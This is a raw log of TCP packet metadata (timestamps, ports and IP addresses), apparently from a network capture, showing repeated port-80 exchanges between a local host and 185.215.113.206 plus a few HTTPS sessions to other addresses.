Nov 24, 2024 00:06:47.280030966 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.280141115 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.281048059 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.281135082 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.281177044 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.281352997 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.282182932 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.282241106 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.282283068 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.282327890 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.283289909 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.283340931 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.283402920 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.283509970 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.284404993 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.284457922 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.284497976 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.284544945 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.285540104 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.285614967 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.285624027 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.285660982 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.286655903 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.286699057 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.286751986 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.286793947 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.287796974 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.287857056 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.287866116 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.287908077 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.288913965 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.288978100 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.288995981 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.289032936 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.290025949 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.290074110 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.290107965 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.290313959 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.291131973 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.291222095 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.291265011 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.292272091 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.292320967 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.292363882 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.292399883 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.293366909 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.293453932 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.334467888 CET	443	49872	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:47.335095882 CET	49872	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:47.335134029 CET	443	49872	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:47.335587025 CET	49872	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:47.335592031 CET	443	49872	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:47.406616926 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:47.406666040 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:47.406747103 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:47.406783104 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:47.406832933 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:47.406877041 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:47.407351017 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:47.407362938 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:47.407459021 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:47.407474041 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:47.445081949 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.445131063 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.445152998 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.445193052 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.445532084 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.445570946 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.445622921 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.445838928 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.446681976 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.446739912 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.447077036 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.447129011 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.447173119 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.447211981 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.448354006 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.448410988 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.448455095 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.448548079 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.449311972 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.449394941 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.449471951 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.449506044 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.450443983 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.450489044 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.450505018 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.450539112 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.451576948 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.451632977 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.451682091 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.451720953 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.452692032 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.452759981 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.452840090 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.452900887 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.453792095 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.453854084 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.453963041 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.454000950 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.454936981 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.454984903 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.455015898 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.455054045 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.456058025 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.456101894 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.456142902 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.456331015 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.457187891 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.457262039 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.457277060 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.457320929 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.458285093 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.458333015 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.458380938 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.458532095 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.459454060 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.459541082 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.459541082 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.459582090 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.460531950 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.460587025 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.460628033 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.460711002 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.461663008 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.461713076 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.461747885 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.461888075 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.462783098 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.462825060 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.462840080 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.462872028 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.463891029 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.463989019 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.464045048 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.464976072 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.465029001 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.465043068 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.465075016 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.466121912 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.466162920 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.466226101 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.466262102 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.467248917 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.467292070 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.467344046 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.467377901 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.468363047 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.468406916 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.468435049 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.468471050 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.469497919 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.469572067 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.469623089 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.469657898 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.470603943 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.470663071 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.470705032 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.470741034 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.471734047 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.471801043 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.471801996 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.471838951 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.472848892 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.472877979 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.472902060 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.472919941 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.473953962 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.473999023 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.474059105 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.474126101 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.475081921 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.475150108 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.475178003 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.475215912 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.476205111 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.476263046 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.476310968 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.476347923 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.477329969 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.477408886 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.477426052 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.477461100 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.478451014 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.478511095 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.478549957 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.478589058 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.479618073 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.479666948 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.479677916 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.479716063 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.480726004 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.480782032 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.480825901 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.480863094 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.481801033 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.481853962 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.481897116 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.481947899 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.482960939 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.483006954 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.483026028 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.483062029 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.484050989 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.484102964 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.484148979 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.484276056 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.485161066 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.485230923 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.485244036 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.485275984 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.486280918 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.486324072 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.486329079 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.486363888 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.487416029 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.487451077 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.487497091 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.487546921 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.488557100 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.488600969 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.488641024 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.488918066 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.489651918 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.489726067 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.489763021 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.489799023 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.490775108 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.490834951 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.490873098 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.491049051 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.491885900 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.491930962 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.491971970 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.492142916 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.493010044 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.493108034 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.493120909 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.493155003 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.494100094 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.494142056 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.508076906 CET	443	49874	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:47.508790970 CET	49874	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:47.508825064 CET	443	49874	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:47.510075092 CET	443	49874	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:47.510133028 CET	49874	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:47.520308018 CET	49874	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:47.520462036 CET	443	49874	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:47.553092003 CET	443	49873	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:47.556150913 CET	49873	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:47.556179047 CET	443	49873	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:47.556544065 CET	443	49873	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:47.556926966 CET	49873	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:47.556997061 CET	443	49873	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:47.567068100 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:47.634279966 CET	49874	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:47.634305000 CET	443	49874	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:47.661149025 CET	49873	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:47.686508894 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:47.735183001 CET	49874	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:47.790152073 CET	443	49872	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:47.790225029 CET	443	49872	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:47.790426016 CET	49872	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:47.790678024 CET	49872	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:47.790700912 CET	443	49872	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:47.790714979 CET	49872	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:47.790720940 CET	443	49872	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:47.794689894 CET	49881	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:47.794727087 CET	443	49881	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:47.794939995 CET	49881	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:47.796214104 CET	49881	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:47.796224117 CET	443	49881	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:48.027120113 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.027215004 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.027245998 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.027508020 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.027681112 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.027770042 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.027832031 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.027832031 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.028827906 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.028920889 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.028947115 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.029160023 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.029942989 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.030045986 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.030071020 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.030225039 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.031052113 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.031168938 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.031189919 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.031317949 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.032181025 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.032397985 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.032419920 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.032668114 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.033318043 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.033410072 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.033427954 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.033502102 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.034471035 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.034564018 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.034580946 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.034683943 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.035545111 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.035639048 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.035661936 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.035806894 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.036897898 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.036911964 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.037017107 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.037776947 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.037930012 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.037945986 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.038048983 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.038897038 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.039016008 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.039041042 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.039139986 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.040040016 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.040184021 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.040211916 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.040375948 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.041145086 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.041205883 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.041225910 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.041416883 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.042280912 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.042390108 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.042412043 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.042457104 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.043415070 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.043658972 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.043809891 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.043956041 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.044512987 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.044610023 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.044624090 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.044696093 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.045622110 CET	80	49818	185.215.113.206	192.168.2.6
